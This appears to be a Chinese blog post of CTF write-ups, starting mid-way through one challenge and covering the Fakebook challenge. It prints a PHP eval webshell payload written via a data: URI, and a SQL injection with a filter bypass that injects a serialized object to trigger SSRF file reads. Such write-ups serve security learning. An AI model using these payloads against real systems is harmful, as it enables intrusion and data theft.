$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
看了一下,发现代码主要做了这几件事
- 先创建目录/sandbox/MD5(orange+ip),然后把工作目录跳转到该目录下
- 执行shell 命令
GET escapeshellarg($_GET["url"]
,结果存在data中,escapeshellarg($_GET[“url”] 就是把url参数进行转义,防止shell注入 - 用pathinfo函数解析get传入的filename参数,
$dir
存储解析到的文件路径,然后创建该路径,并在该路径下写入文件,(如果filename中没有路径,$dir就是.
,会被替换为空,chdir跳转失败,就会保持在当前目录) - 文件名为pathinfo解析的文件名,数据为命令
GET escapeshellarg($_GET["url"]
的结果
梳理完后,感觉可以利用file_put_contents写木马,但是不知道改如何写入数据
上网查阅资料后得知,GET 是 libwww-perl
(perl模块库)的一个命令,用于发送http请求,感觉可以和伪协议搭配在一起写数据,构造payload
?url=data:text/plain,'<?php @eval($_POST['cmd'])?>'&filename=shell.php
然后蚁剑连接
http://bec7cdfe-8808-4fdf-80bc-b47454bbe31c.node5.buuoj.cn/sandbox/f38aa8d984e63b60f461c179a0558dba/shell.php
连接后在根目录下发现flag,但是没有读取权限,
但后面发现readflag好像是可以执行的,执行看看
执行成功
[网鼎杯 2018]Fakebook
题目是一个博客环境,注册后
点进去hello,发现
这里会不会有sql注入漏洞呢,尝试了一下之后,果然有,是数字型注入漏洞,order by 判断出是4列后,准备 union select 1,2,3,4
但我单独输入union,select,又没有这个no hack,应该是过滤 union select
这个整体,于是用union/**/select
绕过,
union/**/ select 1,2,3,4
时
发现报错中有unserialize这个函数,还有getblogcontents,想到数据库存储的应该是博客信息序列化后的数据,取出来反序列化后再展示,但是不知道题目源码,不清楚具体的原理
于是想着试一下用dirsearch扫一下,结果发现了有rotbots.txt,还有flag.php(直接访问,但是啥都没有),有可能是没权限,也有可能是flag在php的源代码里
有/user.php.bak,里面就是一段源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
重点在于get这个函数,使用了curl,而且访问的内容是我们可以控制的博客,有ssrf漏洞,
如果把blog的内容设置为file:///var/www/html/flag.php
,get函数访问就可以拿到flag,但如何触发呢? 在前面的报错界面中,同时出现unseralize和getBlogContents这两个函数的报错,而且前者在31行,后者在62行,所以后台应该是先从数据库中取出序列化数据,反序列化后,对blog进行访问获得内容
如果我们控制这个序列化数据为我们自己构造的访问flag.php的序列化数据,反序列化后使用curl请求,就能获得flag,(MySQL中如果select不指定表名,就会把select的数据当作常量处理,全部返回),如
因此,我们直接union select(序列化数据)即可, 写一个构造序列化数据的exp
<?php
class UserInfo
{
public $name = "a";
public $age = 10;
public $blog = "file:///var/www/html/flag.php"; //由于前面http协议访问过没拿到数据,改用file协议
}
echo serialize(new UserInfo());
?>
O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
payload:
no=-1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
查询的时候记得给序列化数据加引号,不然报错,结果:
感觉这个可能是flag,解码看看
成功
标签:SSRF,00%,url,250D%,学习,2500%,php,250A% From: https://blog.csdn.net/oyf3085227433/article/details/136985956